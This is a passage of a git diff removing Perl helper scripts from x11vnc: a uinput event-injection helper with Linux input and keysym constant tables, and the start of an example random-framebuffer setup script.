- if ($curr_mask == 0 && $mask == 0) {
- do_abs($x2, $y2, 0) if $absalways;
- } elsif ($curr_mask == 0 && $mask != 0) {
- do_abs($x2, $y2, 0);
- do_btn($BTN_TOUCH, 1);
- } elsif ($curr_mask != 0 && $mask == 0) {
- do_abs($x2, $y2, 0);
- do_btn($BTN_TOUCH, 0);
- } elsif ($curr_mask != 0 && $mask != 0) {
- ;
- }
- }
-
- $curr_mask = $mask;
- $curr_x = $x2;
- $curr_y = $y2;
-}
-
-# struct input_event {
-# struct timeval time;
-# __u16 type;
-# __u16 code;
-# __s32 value;
-# };
-
-sub do_syn {
- my $ev = gtod();
- $ev .= pack("S", $EV_SYN);
- $ev .= pack("S", $SYN_REPORT);
- $ev .= pack("i", 0);
- print STDERR "do_syn EV_SYN\n" if $debug;
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_syn: $!\n";
- }
-}
-
-sub do_key {
- # not supported by qtmoko
- my ($key, $down) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_KEY);
- $ev .= pack("S", $key);
- $ev .= pack("i", $down);
- print STDERR "do_key $key $down\n" if $debug;
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_key: $!\n";
- }
- do_syn();
-}
-
-sub do_btn {
- # only BTN_TOUCH supported by qtmoko (but it seems to be ignored??)
- my ($button, $down) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_KEY);
- $ev .= pack("S", $button);
- $ev .= pack("i", $down);
- print STDERR "do_btn $button $down\n" if $debug;
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_btn: $!\n";
- }
- do_syn();
-}
-
-sub do_abs {
- # absolute method is the workhorse for the touchscreen.
- my ($x, $y, $p) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_ABS);
- $ev .= pack("S", $ABS_Y);
- $ev .= pack("i", $y);
- print STDERR "do_abs y=$y\n" if $debug;
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_abs: $!\n";
- }
- $ev = gtod();
- $ev .= pack("S", $EV_ABS);
- $ev .= pack("S", $ABS_X);
- $ev .= pack("i", $x);
- print STDERR "do_abs x=$x\n" if $debug;
- $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_abs: $!\n";
- }
- $ev = gtod();
- $ev .= pack("S", $EV_ABS);
- $ev .= pack("S", $ABS_PRESSURE);
- $ev .= pack("i", $p);
- print STDERR "do_abs p=$p\n" if $debug;
- $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_abs: $!\n";
- }
- do_syn();
-}
-
-sub do_rel {
- # not supported by qtmoko
- my ($dx, $dy) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_REL);
- $ev .= pack("S", $REL_Y);
- $ev .= pack("i", $dy);
- print STDERR "do_rel dy=$dy\n" if $debug;
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_rel: $!\n";
- }
- $ev = gtod();
- $ev .= pack("S", $EV_REL);
- $ev .= pack("S", $REL_X);
- $ev .= pack("i", $dx);
- print STDERR "do_rel dx=$dx\n";
- $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_rel: $!\n";
- }
- do_syn();
-}
-
-sub gtod {
- # 32 bit machines. TBD use perl module Time:HiRes.
- $tv = ("\0" x 4) x 2; # assumes long is 4 bytes. should use pack.
- $tz = ("\0" x 4) x 2;
- syscall($linux_gettimeofday_syscall, $tv, $tz);
- return $tv;
-}
-
-sub gettime {
- my $tv = gtod();
- my ($tv_sec, $tv_usec) = unpack("L2", $tv);
- $tv_usec2 = sprintf("%8.6f", $tv_usec/1000000.0);
- if ( $tv_usec2 =~ /^0\./ ) {
- $tv_usec2 =~ s/^0\././;
- $tv_sec = "$tv_sec$tv_usec2";
- } else {
- $tv_sec = $tv_sec + ($tv_usec/1000000.0);
- }
- return sprintf("%.3f", $tv_sec - $start);
-}
-
-sub fsleep {
- my ($time) = @_;
- select(undef, undef, undef, $time) if $time;
-}
-
-sub set_constants {
-
-# from /usr/include/linux/uinput.h /usr/include/linux/input.h and x11vnc.
-
-# #define ABS_MAX 0x3f = 63
-#
-# #define UINPUT_MAX_NAME_SIZE 80
-#
-# struct input_id {
-# __u16 bustype;
-# __u16 vendor;
-# __u16 product;
-# __u16 version;
-# };
-#
-# struct uinput_user_dev {
-# char name[UINPUT_MAX_NAME_SIZE];
-# struct input_id id;
-# int ff_effects_max;
-# int absmax[ABS_MAX + 1];
-# int absmin[ABS_MAX + 1];
-# int absfuzz[ABS_MAX + 1];
-# int absflat[ABS_MAX + 1];
-# };
-# #endif /* __UINPUT_H_ */
-
-$EV_SYN = 0x00;
-$EV_KEY = 0x01;
-$EV_REL = 0x02;
-$EV_ABS = 0x03;
-$EV_MSC = 0x04;
-$EV_SW = 0x05;
-$EV_LED = 0x11;
-$EV_SND = 0x12;
-$EV_REP = 0x14;
-$EV_FF = 0x15;
-$EV_PWR = 0x16;
-$EV_FF_STATUS = 0x17;
-$EV_MAX = 0x1f;
-
-$ID_BUS = 0;
-$ID_VENDOR = 1;
-$ID_PRODUCT = 2;
-$ID_VERSION = 3;
-
-$BUS_PCI = 0x01;
-$BUS_ISAPNP = 0x02;
-$BUS_USB = 0x03;
-$BUS_HIL = 0x04;
-$BUS_BLUETOOTH = 0x05;
-$BUS_VIRTUAL = 0x06;
-
-$BUS_ISA = 0x10;
-$BUS_I8042 = 0x11;
-$BUS_XTKBD = 0x12;
-$BUS_RS232 = 0x13;
-$BUS_GAMEPORT = 0x14;
-$BUS_PARPORT = 0x15;
-$BUS_AMIGA = 0x16;
-$BUS_ADB = 0x17;
-$BUS_I2C = 0x18;
-$BUS_HOST = 0x19;
-$BUS_GSC = 0x1A;
-$BUS_ATARI = 0x1B;
-
-$REL_X = 0x00;
-$REL_Y = 0x01;
-$REL_Z = 0x02;
-$REL_RX = 0x03;
-$REL_RY = 0x04;
-$REL_RZ = 0x05;
-$REL_HWHEEL = 0x06;
-$REL_DIAL = 0x07;
-$REL_WHEEL = 0x08;
-$REL_MISC = 0x09;
-
-$ABS_X = 0x00;
-$ABS_Y = 0x01;
-$ABS_Z = 0x02;
-$ABS_RX = 0x03;
-$ABS_RY = 0x04;
-$ABS_RZ = 0x05;
-$ABS_THROTTLE = 0x06;
-$ABS_RUDDER = 0x07;
-$ABS_WHEEL = 0x08;
-$ABS_GAS = 0x09;
-$ABS_BRAKE = 0x0a;
-$ABS_HAT0X = 0x10;
-$ABS_HAT0Y = 0x11;
-$ABS_HAT1X = 0x12;
-$ABS_HAT1Y = 0x13;
-$ABS_HAT2X = 0x14;
-$ABS_HAT2Y = 0x15;
-$ABS_HAT3X = 0x16;
-$ABS_HAT3Y = 0x17;
-$ABS_PRESSURE = 0x18;
-$ABS_DISTANCE = 0x19;
-$ABS_TILT_X = 0x1a;
-$ABS_TILT_Y = 0x1b;
-$ABS_TOOL_WIDTH = 0x1c;
-$ABS_VOLUME = 0x20;
-$ABS_MISC = 0x28;
-$ABS_MT_TOUCH_MAJOR = 0x30;
-$ABS_MT_TOUCH_MINOR = 0x31;
-$ABS_MT_WIDTH_MAJOR = 0x32;
-$ABS_MT_WIDTH_MINOR = 0x33;
-$ABS_MT_ORIENTATION = 0x34;
-$ABS_MT_POSITION_X = 0x35;
-$ABS_MT_POSITION_Y = 0x36;
-$ABS_MT_TOOL_TYPE = 0x37;
-$ABS_MT_BLOB_ID = 0x38;
-$ABS_MT_TRACKING_ID = 0x39;
-#$ABS_MAX = 0x3f;
-
-
-$BTN_MISC = 0x100;
-$BTN_0 = 0x100;
-$BTN_1 = 0x101;
-$BTN_2 = 0x102;
-$BTN_3 = 0x103;
-$BTN_4 = 0x104;
-$BTN_5 = 0x105;
-$BTN_6 = 0x106;
-$BTN_7 = 0x107;
-$BTN_8 = 0x108;
-$BTN_9 = 0x109;
-
-$BTN_MOUSE = 0x110;
-$BTN_LEFT = 0x110;
-$BTN_RIGHT = 0x111;
-$BTN_MIDDLE = 0x112;
-$BTN_SIDE = 0x113;
-$BTN_EXTRA = 0x114;
-$BTN_FORWARD = 0x115;
-$BTN_BACK = 0x116;
-$BTN_TASK = 0x117;
-
-$BTN_JOYSTICK = 0x120;
-$BTN_TRIGGER = 0x120;
-$BTN_THUMB = 0x121;
-$BTN_THUMB2 = 0x122;
-$BTN_TOP = 0x123;
-$BTN_TOP2 = 0x124;
-$BTN_PINKIE = 0x125;
-$BTN_BASE = 0x126;
-$BTN_BASE2 = 0x127;
-$BTN_BASE3 = 0x128;
-$BTN_BASE4 = 0x129;
-$BTN_BASE5 = 0x12a;
-$BTN_BASE6 = 0x12b;
-$BTN_DEAD = 0x12f;
-
-$BTN_GAMEPAD = 0x130;
-$BTN_A = 0x130;
-$BTN_B = 0x131;
-$BTN_C = 0x132;
-$BTN_X = 0x133;
-$BTN_Y = 0x134;
-$BTN_Z = 0x135;
-$BTN_TL = 0x136;
-$BTN_TR = 0x137;
-$BTN_TL2 = 0x138;
-$BTN_TR2 = 0x139;
-$BTN_SELECT = 0x13a;
-$BTN_START = 0x13b;
-$BTN_MODE = 0x13c;
-$BTN_THUMBL = 0x13d;
-$BTN_THUMBR = 0x13e;
-
-$BTN_DIGI = 0x140;
-$BTN_TOOL_PEN = 0x140;
-$BTN_TOOL_RUBBER = 0x141;
-$BTN_TOOL_BRUSH = 0x142;
-$BTN_TOOL_PENCIL = 0x143;
-$BTN_TOOL_AIRBRUSH = 0x144;
-$BTN_TOOL_FINGER = 0x145;
-$BTN_TOOL_MOUSE = 0x146;
-$BTN_TOOL_LENS = 0x147;
-$BTN_TOUCH = 0x14a;
-$BTN_STYLUS = 0x14b;
-$BTN_STYLUS2 = 0x14c;
-$BTN_TOOL_DOUBLETAP = 0x14d;
-$BTN_TOOL_TRIPLETAP = 0x14e;
-
-$BTN_WHEEL = 0x150;
-$BTN_GEAR_DOWN = 0x150;
-$BTN_GEAR_UP = 0x151;
-
-$SYN_REPORT = 0;
-$SYN_CONFIG = 1;
-$SYN_MT_REPORT = 2;
-
-$KEY_RESERVED = 0;
-$KEY_ESC = 1;
-$KEY_1 = 2;
-$KEY_2 = 3;
-$KEY_3 = 4;
-$KEY_4 = 5;
-$KEY_5 = 6;
-$KEY_6 = 7;
-$KEY_7 = 8;
-$KEY_8 = 9;
-$KEY_9 = 10;
-$KEY_0 = 11;
-$KEY_MINUS = 12;
-$KEY_EQUAL = 13;
-$KEY_BACKSPACE = 14;
-$KEY_TAB = 15;
-$KEY_Q = 16;
-$KEY_W = 17;
-$KEY_E = 18;
-$KEY_R = 19;
-$KEY_T = 20;
-$KEY_Y = 21;
-$KEY_U = 22;
-$KEY_I = 23;
-$KEY_O = 24;
-$KEY_P = 25;
-$KEY_LEFTBRACE = 26;
-$KEY_RIGHTBRACE = 27;
-$KEY_ENTER = 28;
-$KEY_LEFTCTRL = 29;
-$KEY_A = 30;
-$KEY_S = 31;
-$KEY_D = 32;
-$KEY_F = 33;
-$KEY_G = 34;
-$KEY_H = 35;
-$KEY_J = 36;
-$KEY_K = 37;
-$KEY_L = 38;
-$KEY_SEMICOLON = 39;
-$KEY_APOSTROPHE = 40;
-$KEY_GRAVE = 41;
-$KEY_LEFTSHIFT = 42;
-$KEY_BACKSLASH = 43;
-$KEY_Z = 44;
-$KEY_X = 45;
-$KEY_C = 46;
-$KEY_V = 47;
-$KEY_B = 48;
-$KEY_N = 49;
-$KEY_M = 50;
-$KEY_COMMA = 51;
-$KEY_DOT = 52;
-$KEY_SLASH = 53;
-$KEY_RIGHTSHIFT = 54;
-$KEY_KPASTERISK = 55;
-$KEY_LEFTALT = 56;
-$KEY_SPACE = 57;
-$KEY_CAPSLOCK = 58;
-$KEY_F1 = 59;
-$KEY_F2 = 60;
-$KEY_F3 = 61;
-$KEY_F4 = 62;
-$KEY_F5 = 63;
-$KEY_F6 = 64;
-$KEY_F7 = 65;
-$KEY_F8 = 66;
-$KEY_F9 = 67;
-$KEY_F10 = 68;
-$KEY_NUMLOCK = 69;
-$KEY_SCROLLLOCK = 70;
-$KEY_KP7 = 71;
-$KEY_KP8 = 72;
-$KEY_KP9 = 73;
-$KEY_KPMINUS = 74;
-$KEY_KP4 = 75;
-$KEY_KP5 = 76;
-$KEY_KP6 = 77;
-$KEY_KPPLUS = 78;
-$KEY_KP1 = 79;
-$KEY_KP2 = 80;
-$KEY_KP3 = 81;
-$KEY_KP0 = 82;
-$KEY_KPDOT = 83;
-$KEY_103RD = 84;
-$KEY_F13 = 85;
-$KEY_102ND = 86;
-$KEY_F11 = 87;
-$KEY_F12 = 88;
-$KEY_F14 = 89;
-$KEY_F15 = 90;
-$KEY_F16 = 91;
-$KEY_F17 = 92;
-$KEY_F18 = 93;
-$KEY_F19 = 94;
-$KEY_F20 = 95;
-$KEY_KPENTER = 96;
-$KEY_RIGHTCTRL = 97;
-$KEY_KPSLASH = 98;
-$KEY_SYSRQ = 99;
-$KEY_RIGHTALT = 100;
-$KEY_LINEFEED = 101;
-$KEY_HOME = 102;
-$KEY_UP = 103;
-$KEY_PAGEUP = 104;
-$KEY_LEFT = 105;
-$KEY_RIGHT = 106;
-$KEY_END = 107;
-$KEY_DOWN = 108;
-$KEY_PAGEDOWN = 109;
-$KEY_INSERT = 110;
-$KEY_DELETE = 111;
-$KEY_MACRO = 112;
-$KEY_MUTE = 113;
-$KEY_VOLUMEDOWN = 114;
-$KEY_VOLUMEUP = 115;
-$KEY_POWER = 116;
-$KEY_KPEQUAL = 117;
-$KEY_KPPLUSMINUS = 118;
-$KEY_PAUSE = 119;
-$KEY_F21 = 120;
-$KEY_F22 = 121;
-$KEY_F23 = 122;
-$KEY_F24 = 123;
-$KEY_KPCOMMA = 124;
-$KEY_LEFTMETA = 125;
-$KEY_RIGHTMETA = 126;
-$KEY_COMPOSE = 127;
-$KEY_STOP = 128;
-$KEY_AGAIN = 129;
-$KEY_PROPS = 130;
-$KEY_UNDO = 131;
-$KEY_FRONT = 132;
-$KEY_COPY = 133;
-$KEY_OPEN = 134;
-$KEY_PASTE = 135;
-$KEY_FIND = 136;
-$KEY_CUT = 137;
-$KEY_HELP = 138;
-$KEY_MENU = 139;
-$KEY_CALC = 140;
-$KEY_SETUP = 141;
-$KEY_SLEEP = 142;
-$KEY_WAKEUP = 143;
-$KEY_FILE = 144;
-$KEY_SENDFILE = 145;
-$KEY_DELETEFILE = 146;
-$KEY_XFER = 147;
-$KEY_PROG1 = 148;
-$KEY_PROG2 = 149;
-$KEY_WWW = 150;
-$KEY_MSDOS = 151;
-$KEY_COFFEE = 152;
-$KEY_DIRECTION = 153;
-$KEY_CYCLEWINDOWS = 154;
-$KEY_MAIL = 155;
-$KEY_BOOKMARKS = 156;
-$KEY_COMPUTER = 157;
-$KEY_BACK = 158;
-$KEY_FORWARD = 159;
-$KEY_CLOSECD = 160;
-$KEY_EJECTCD = 161;
-$KEY_EJECTCLOSECD = 162;
-$KEY_NEXTSONG = 163;
-$KEY_PLAYPAUSE = 164;
-$KEY_PREVIOUSSONG = 165;
-$KEY_STOPCD = 166;
-$KEY_RECORD = 167;
-$KEY_REWIND = 168;
-$KEY_PHONE = 169;
-$KEY_ISO = 170;
-$KEY_CONFIG = 171;
-$KEY_HOMEPAGE = 172;
-$KEY_REFRESH = 173;
-$KEY_EXIT = 174;
-$KEY_MOVE = 175;
-$KEY_EDIT = 176;
-$KEY_SCROLLUP = 177;
-$KEY_SCROLLDOWN = 178;
-$KEY_KPLEFTPAREN = 179;
-$KEY_KPRIGHTPAREN = 180;
-$KEY_INTL1 = 181;
-$KEY_INTL2 = 182;
-$KEY_INTL3 = 183;
-$KEY_INTL4 = 184;
-$KEY_INTL5 = 185;
-$KEY_INTL6 = 186;
-$KEY_INTL7 = 187;
-$KEY_INTL8 = 188;
-$KEY_INTL9 = 189;
-$KEY_LANG1 = 190;
-$KEY_LANG2 = 191;
-$KEY_LANG3 = 192;
-$KEY_LANG4 = 193;
-$KEY_LANG5 = 194;
-$KEY_LANG6 = 195;
-$KEY_LANG7 = 196;
-$KEY_LANG8 = 197;
-$KEY_LANG9 = 198;
-$KEY_PLAYCD = 200;
-$KEY_PAUSECD = 201;
-$KEY_PROG3 = 202;
-$KEY_PROG4 = 203;
-$KEY_SUSPEND = 205;
-$KEY_CLOSE = 206;
-$KEY_PLAY = 207;
-$KEY_FASTFORWARD = 208;
-$KEY_BASSBOOST = 209;
-$KEY_PRINT = 210;
-$KEY_HP = 211;
-$KEY_CAMERA = 212;
-$KEY_SOUND = 213;
-$KEY_QUESTION = 214;
-$KEY_EMAIL = 215;
-$KEY_CHAT = 216;
-$KEY_SEARCH = 217;
-$KEY_CONNECT = 218;
-$KEY_FINANCE = 219;
-$KEY_SPORT = 220;
-$KEY_SHOP = 221;
-$KEY_ALTERASE = 222;
-$KEY_CANCEL = 223;
-$KEY_BRIGHTNESSDOWN = 224;
-$KEY_BRIGHTNESSUP = 225;
-$KEY_MEDIA = 226;
-$KEY_UNKNOWN = 240;
-$KEY_OK = 0x160;
-$KEY_SELECT = 0x161;
-$KEY_GOTO = 0x162;
-$KEY_CLEAR = 0x163;
-$KEY_POWER2 = 0x164;
-$KEY_OPTION = 0x165;
-$KEY_INFO = 0x166;
-$KEY_TIME = 0x167;
-$KEY_VENDOR = 0x168;
-$KEY_ARCHIVE = 0x169;
-$KEY_PROGRAM = 0x16a;
-$KEY_CHANNEL = 0x16b;
-$KEY_FAVORITES = 0x16c;
-$KEY_EPG = 0x16d;
-$KEY_PVR = 0x16e;
-$KEY_MHP = 0x16f;
-$KEY_LANGUAGE = 0x170;
-$KEY_TITLE = 0x171;
-$KEY_SUBTITLE = 0x172;
-$KEY_ANGLE = 0x173;
-$KEY_ZOOM = 0x174;
-$KEY_MODE = 0x175;
-$KEY_KEYBOARD = 0x176;
-$KEY_SCREEN = 0x177;
-$KEY_PC = 0x178;
-$KEY_TV = 0x179;
-$KEY_TV2 = 0x17a;
-$KEY_VCR = 0x17b;
-$KEY_VCR2 = 0x17c;
-$KEY_SAT = 0x17d;
-$KEY_SAT2 = 0x17e;
-$KEY_CD = 0x17f;
-$KEY_TAPE = 0x180;
-$KEY_RADIO = 0x181;
-$KEY_TUNER = 0x182;
-$KEY_PLAYER = 0x183;
-$KEY_TEXT = 0x184;
-$KEY_DVD = 0x185;
-$KEY_AUX = 0x186;
-$KEY_MP3 = 0x187;
-$KEY_AUDIO = 0x188;
-$KEY_VIDEO = 0x189;
-$KEY_DIRECTORY = 0x18a;
-$KEY_LIST = 0x18b;
-$KEY_MEMO = 0x18c;
-$KEY_CALENDAR = 0x18d;
-$KEY_RED = 0x18e;
-$KEY_GREEN = 0x18f;
-$KEY_YELLOW = 0x190;
-$KEY_BLUE = 0x191;
-$KEY_CHANNELUP = 0x192;
-$KEY_CHANNELDOWN = 0x193;
-$KEY_FIRST = 0x194;
-$KEY_LAST = 0x195;
-$KEY_AB = 0x196;
-$KEY_NEXT = 0x197;
-$KEY_RESTART = 0x198;
-$KEY_SLOW = 0x199;
-$KEY_SHUFFLE = 0x19a;
-$KEY_BREAK = 0x19b;
-$KEY_PREVIOUS = 0x19c;
-$KEY_DIGITS = 0x19d;
-$KEY_TEEN = 0x19e;
-$KEY_TWEN = 0x19f;
-$KEY_DEL_EOL = 0x1c0;
-$KEY_DEL_EOS = 0x1c1;
-$KEY_INS_LINE = 0x1c2;
-$KEY_DEL_LINE = 0x1c3;
-$KEY_MAX = 0x1ff;
-
-
- $key_lookup{XK_Escape} = $KEY_ESC;
- $key_lookup{XK_1} = $KEY_1;
- $key_lookup{XK_2} = $KEY_2;
- $key_lookup{XK_3} = $KEY_3;
- $key_lookup{XK_4} = $KEY_4;
- $key_lookup{XK_5} = $KEY_5;
- $key_lookup{XK_6} = $KEY_6;
- $key_lookup{XK_7} = $KEY_7;
- $key_lookup{XK_8} = $KEY_8;
- $key_lookup{XK_9} = $KEY_9;
- $key_lookup{XK_0} = $KEY_0;
- $key_lookup{XK_exclam} = $KEY_1;
- $key_lookup{XK_at} = $KEY_2;
- $key_lookup{XK_numbersign} = $KEY_3;
- $key_lookup{XK_dollar} = $KEY_4;
- $key_lookup{XK_percent} = $KEY_5;
- $key_lookup{XK_asciicircum} = $KEY_6;
- $key_lookup{XK_ampersand} = $KEY_7;
- $key_lookup{XK_asterisk} = $KEY_8;
- $key_lookup{XK_parenleft} = $KEY_9;
- $key_lookup{XK_parenright} = $KEY_0;
- $key_lookup{XK_minus} = $KEY_MINUS;
- $key_lookup{XK_underscore} = $KEY_MINUS;
- $key_lookup{XK_equal} = $KEY_EQUAL;
- $key_lookup{XK_plus} = $KEY_EQUAL;
- $key_lookup{XK_BackSpace} = $KEY_BACKSPACE;
- $key_lookup{XK_Tab} = $KEY_TAB;
- $key_lookup{XK_q} = $KEY_Q;
- $key_lookup{XK_Q} = $KEY_Q;
- $key_lookup{XK_w} = $KEY_W;
- $key_lookup{XK_W} = $KEY_W;
- $key_lookup{XK_e} = $KEY_E;
- $key_lookup{XK_E} = $KEY_E;
- $key_lookup{XK_r} = $KEY_R;
- $key_lookup{XK_R} = $KEY_R;
- $key_lookup{XK_t} = $KEY_T;
- $key_lookup{XK_T} = $KEY_T;
- $key_lookup{XK_y} = $KEY_Y;
- $key_lookup{XK_Y} = $KEY_Y;
- $key_lookup{XK_u} = $KEY_U;
- $key_lookup{XK_U} = $KEY_U;
- $key_lookup{XK_i} = $KEY_I;
- $key_lookup{XK_I} = $KEY_I;
- $key_lookup{XK_o} = $KEY_O;
- $key_lookup{XK_O} = $KEY_O;
- $key_lookup{XK_p} = $KEY_P;
- $key_lookup{XK_P} = $KEY_P;
- $key_lookup{XK_braceleft} = $KEY_LEFTBRACE;
- $key_lookup{XK_braceright} = $KEY_RIGHTBRACE;
- $key_lookup{XK_bracketleft} = $KEY_LEFTBRACE;
- $key_lookup{XK_bracketright} = $KEY_RIGHTBRACE;
- $key_lookup{XK_Return} = $KEY_ENTER;
- $key_lookup{XK_Control_L} = $KEY_LEFTCTRL;
- $key_lookup{XK_a} = $KEY_A;
- $key_lookup{XK_A} = $KEY_A;
- $key_lookup{XK_s} = $KEY_S;
- $key_lookup{XK_S} = $KEY_S;
- $key_lookup{XK_d} = $KEY_D;
- $key_lookup{XK_D} = $KEY_D;
- $key_lookup{XK_f} = $KEY_F;
- $key_lookup{XK_F} = $KEY_F;
- $key_lookup{XK_g} = $KEY_G;
- $key_lookup{XK_G} = $KEY_G;
- $key_lookup{XK_h} = $KEY_H;
- $key_lookup{XK_H} = $KEY_H;
- $key_lookup{XK_j} = $KEY_J;
- $key_lookup{XK_J} = $KEY_J;
- $key_lookup{XK_k} = $KEY_K;
- $key_lookup{XK_K} = $KEY_K;
- $key_lookup{XK_l} = $KEY_L;
- $key_lookup{XK_L} = $KEY_L;
- $key_lookup{XK_semicolon} = $KEY_SEMICOLON;
- $key_lookup{XK_colon} = $KEY_SEMICOLON;
- $key_lookup{XK_apostrophe} = $KEY_APOSTROPHE;
- $key_lookup{XK_quotedbl} = $KEY_APOSTROPHE;
- $key_lookup{XK_grave} = $KEY_GRAVE;
- $key_lookup{XK_asciitilde} = $KEY_GRAVE;
- $key_lookup{XK_Shift_L} = $KEY_LEFTSHIFT;
- $key_lookup{XK_backslash} = $KEY_BACKSLASH;
- $key_lookup{XK_bar} = $KEY_BACKSLASH;
- $key_lookup{XK_z} = $KEY_Z;
- $key_lookup{XK_Z} = $KEY_Z;
- $key_lookup{XK_x} = $KEY_X;
- $key_lookup{XK_X} = $KEY_X;
- $key_lookup{XK_c} = $KEY_C;
- $key_lookup{XK_C} = $KEY_C;
- $key_lookup{XK_v} = $KEY_V;
- $key_lookup{XK_V} = $KEY_V;
- $key_lookup{XK_b} = $KEY_B;
- $key_lookup{XK_B} = $KEY_B;
- $key_lookup{XK_n} = $KEY_N;
- $key_lookup{XK_N} = $KEY_N;
- $key_lookup{XK_m} = $KEY_M;
- $key_lookup{XK_M} = $KEY_M;
- $key_lookup{XK_comma} = $KEY_COMMA;
- $key_lookup{XK_less} = $KEY_COMMA;
- $key_lookup{XK_period} = $KEY_DOT;
- $key_lookup{XK_greater} = $KEY_DOT;
- $key_lookup{XK_slash} = $KEY_SLASH;
- $key_lookup{XK_question} = $KEY_SLASH;
- $key_lookup{XK_Shift_R} = $KEY_RIGHTSHIFT;
- $key_lookup{XK_KP_Multiply} = $KEY_KPASTERISK;
- $key_lookup{XK_Alt_L} = $KEY_LEFTALT;
- $key_lookup{XK_space} = $KEY_SPACE;
- $key_lookup{XK_Caps_Lock} = $KEY_CAPSLOCK;
- $key_lookup{XK_F1} = $KEY_F1;
- $key_lookup{XK_F2} = $KEY_F2;
- $key_lookup{XK_F3} = $KEY_F3;
- $key_lookup{XK_F4} = $KEY_F4;
- $key_lookup{XK_F5} = $KEY_F5;
- $key_lookup{XK_F6} = $KEY_F6;
- $key_lookup{XK_F7} = $KEY_F7;
- $key_lookup{XK_F8} = $KEY_F8;
- $key_lookup{XK_F9} = $KEY_F9;
- $key_lookup{XK_F10} = $KEY_F10;
- $key_lookup{XK_Num_Lock} = $KEY_NUMLOCK;
- $key_lookup{XK_Scroll_Lock} = $KEY_SCROLLLOCK;
- $key_lookup{XK_KP_7} = $KEY_KP7;
- $key_lookup{XK_KP_8} = $KEY_KP8;
- $key_lookup{XK_KP_9} = $KEY_KP9;
- $key_lookup{XK_KP_Subtract} = $KEY_KPMINUS;
- $key_lookup{XK_KP_4} = $KEY_KP4;
- $key_lookup{XK_KP_5} = $KEY_KP5;
- $key_lookup{XK_KP_6} = $KEY_KP6;
- $key_lookup{XK_KP_Add} = $KEY_KPPLUS;
- $key_lookup{XK_KP_1} = $KEY_KP1;
- $key_lookup{XK_KP_2} = $KEY_KP2;
- $key_lookup{XK_KP_3} = $KEY_KP3;
- $key_lookup{XK_KP_0} = $KEY_KP0;
- $key_lookup{XK_KP_Decimal} = $KEY_KPDOT;
- $key_lookup{XK_F13} = $KEY_F13;
- $key_lookup{XK_F11} = $KEY_F11;
- $key_lookup{XK_F12} = $KEY_F12;
- $key_lookup{XK_F14} = $KEY_F14;
- $key_lookup{XK_F15} = $KEY_F15;
- $key_lookup{XK_F16} = $KEY_F16;
- $key_lookup{XK_F17} = $KEY_F17;
- $key_lookup{XK_F18} = $KEY_F18;
- $key_lookup{XK_F19} = $KEY_F19;
- $key_lookup{XK_F20} = $KEY_F20;
- $key_lookup{XK_KP_Enter} = $KEY_KPENTER;
- $key_lookup{XK_Control_R} = $KEY_RIGHTCTRL;
- $key_lookup{XK_KP_Divide} = $KEY_KPSLASH;
- $key_lookup{XK_Sys_Req} = $KEY_SYSRQ;
- $key_lookup{XK_Alt_R} = $KEY_RIGHTALT;
- $key_lookup{XK_Linefeed} = $KEY_LINEFEED;
- $key_lookup{XK_Home} = $KEY_HOME;
- $key_lookup{XK_Up} = $KEY_UP;
- $key_lookup{XK_Page_Up} = $KEY_PAGEUP;
- $key_lookup{XK_Left} = $KEY_LEFT;
- $key_lookup{XK_Right} = $KEY_RIGHT;
- $key_lookup{XK_End} = $KEY_END;
- $key_lookup{XK_Down} = $KEY_DOWN;
- $key_lookup{XK_Page_Down} = $KEY_PAGEDOWN;
- $key_lookup{XK_Insert} = $KEY_INSERT;
- $key_lookup{XK_Delete} = $KEY_DELETE;
- $key_lookup{XK_KP_Equal} = $KEY_KPEQUAL;
- $key_lookup{XK_Pause} = $KEY_PAUSE;
- $key_lookup{XK_F21} = $KEY_F21;
- $key_lookup{XK_F22} = $KEY_F22;
- $key_lookup{XK_F23} = $KEY_F23;
- $key_lookup{XK_F24} = $KEY_F24;
- $key_lookup{XK_KP_Separator} = $KEY_KPCOMMA;
- $key_lookup{XK_Meta_L} = $KEY_LEFTMETA;
- $key_lookup{XK_Meta_R} = $KEY_RIGHTMETA;
- $key_lookup{XK_Multi_key} = $KEY_COMPOSE;
-
-$ABS_MAX = 63;
-
-$UI_DEV_CREATE = 0x5501;
-$UI_DEV_DESTROY = 0x5502;
-$UI_SET_EVBIT = 0x40045564;
-$UI_SET_KEYBIT = 0x40045565;
-$UI_SET_RELBIT = 0x40045566;
-$UI_SET_ABSBIT = 0x40045567;
-
-# FIXME: time hires, etc.
-$linux_gettimeofday_syscall = 78;
-
-$O_RDONLY = 00;
-$O_WRONLY = 01;
-$O_RDWR = 02;
-$O_NDELAY = 04000;
-
-}
diff --git a/x11vnc/misc/ranfb.pl b/x11vnc/misc/ranfb.pl
deleted file mode 100755
index d6aa49d..0000000
--- a/x11vnc/misc/ranfb.pl
+++ /dev/null
@@ -1,157 +0,0 @@
- #!/bin/sh -- # A comment mentioning perl
-eval 'exec perl -S $0 ${1+"$@"}'
- if 0;
-
-# ranfb.pl: example -rawfb setup program.
-# E.g. x11vnc -rawfb setup:./ranfb.pl
-
-# can supply WxH or W H on cmd line:
-if ($ARGV[0] =~ /^(\d+)x(\d+)$/) {
- $W = $1;
- $H = $2;
-} else {
- $W = shift;
- $H = shift;
-}
-
-$W = 480 unless $W;
-$H = 360 unless $H;
-
-$fb = "/tmp/ranfb.$$";
-open(FB, ">$fb") || die "$!";
-
-$ones = "\377" x ($W * 4);
-for ($y = 0; $y < $H; $y++) {
- print FB $ones;
-}
-
-if (fork) {
- print "map:$fb\@${W}x${H}x32\n";
- exit 0;
-}
-
-srand();
-while (1) {
- showpic();
- if (! kill 0, $ENV{X11VNC_PID}) {
- print STDERR "PID $ENV{X11VNC_PID} gone\n";
- unlink($fb);
- exit;
- }
-}
-
-sub showpic {
-
